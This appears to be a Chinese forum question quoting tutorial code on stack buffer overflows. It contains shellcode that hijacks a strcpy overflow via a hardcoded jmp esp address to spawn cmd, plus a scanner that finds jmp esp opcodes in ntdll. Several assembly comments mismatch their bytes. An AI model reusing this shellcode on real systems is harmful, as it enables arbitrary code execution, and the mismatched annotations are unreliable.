一个关于q版缓冲区溢出的疑惑
这本书里有这样一段代码:
#include <stdio.h>
#include <string.h>
char name[] =
"\x41\x41\x41\x41"
"\x41\x41\x41\x41" //output[8]
"\x41\x41\x41\x41" //ebp
"\x1c\x80\xf5\x77"//0x77f5801c关于这个地址的由来参见下面获取jmp esp地址的代码
"\x55" //push ebp
"\x8B\xEC" //mov ebp, esp
"\x33\xC0" //xor eax, eax
"\x50" //push eax
"\x50" //push eax
"\x50" //push eax
"\xC6\x45\xF5\x6D" //mov byte ptr[ebp-0Bh], 6Dh
"\xC6\x45\xF6\x73" //mov byte ptr[ebp-0Ah], 73h
"\xC6\x45\xF7\x76" //mov byte ptr[ebp-09h], 76h
"\xC6\x45\xF8\x63" //mov byte ptr[ebp-08h], 63h
"\xC6\x45\xF9\x72" //mov byte ptr[ebp-07h], 72h
"\xC6\x45\xFA\x74" //mov byte ptr[ebp-06h], 74h
"\xC6\x45\xFB\x2E" //mov byte ptr[ebp-05h], 2Eh
"\xC6\x45\xFC\x64" //mov byte ptr[ebp-04h], 64h
"\xC6\x45\xFD\x6C" //mov byte ptr[ebp-03h], 6Ch
"\xC6\x45\xFE\x6C" //mov byte ptr[ebp-02h], 6Ch
"\x8D\x45\xF5" //lea eax, [ebp-0Bh]
"\x50" //push eax
"\xBA\x7B\x1D\x80\x7C" //mov edx, 0x7C801D7Bh
"\xFF\xD2" //call edx
"\x83\xC4\x0C" //add esp, 0Ch
"\x8B\xEC" //mov ebp, esp
"\x33\xC0" //xor eax, eax
"\x50" //push eax
"\x50" //push eax
"\x50" //push eax
"\xC6\x45\xFC\x63" //mov byte ptr[ebp-04h], 63h
"\xC6\x45\xFD\x6D" //mov byte ptr[ebp-03h], 6Dh
"\xC6\x45\xFE\x64" //mov byte ptr[ebp-02h], 64h
"\x8D\x45\xFC" //lea eax, [ebp-04h]
"\x50" //push eax
"\xB8\xC7\x93\xBF\x77" //mov edx, 0x77BF93C7h
"\xFF\xD0" //call edx
"\x83\xC4\x10" //add esp, 10h
"\x5D" //pop ebp
"\x6A\x00" //push 0
"\xB8\xc7\x93\xbf\x77" //mov eax, 0x7c81cb12
"\xFF\xD0";
int i;
void main()
{
char output[8];
strcpy(output, name);
for(i=0;i<8&&output[i];i++)
{
printf("\\0x%x",output[i]);
}
}
#include<windows.h>
#include<iostream.h>
#include<tchar.h>
int main()
{
int nRetCode=0;
bool we_load_it=false;
HINSTANCE h;
TCHAR dllname[]=_T("ntdll");
h=GetModuleHandle(dllname);
if(h==NULL)
{h=LoadLibrary(dllname);
if(h==NULL)
{cout<<"ERROR LOADING DLL:"<<dllname<<endl;
return 1;
}
we_load_it=true;
}
BYTE* ptr=(BYTE*)h;
bool done=false;
for(int y=0;!done;y++)
{try
{
if(ptr[y]==0xFF&&ptr[y+1]==0xE4)
{int pos=(int)ptr+y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;}}
catch(...)
{
cout<<"END OF"<<dllname<<"MEMORY REACHED"<<endl;
done=true;
}
}
if(we_load_it)
FreeLibrary(h);
return nRetCode;
}
"\x12\x45\xfa\x7f"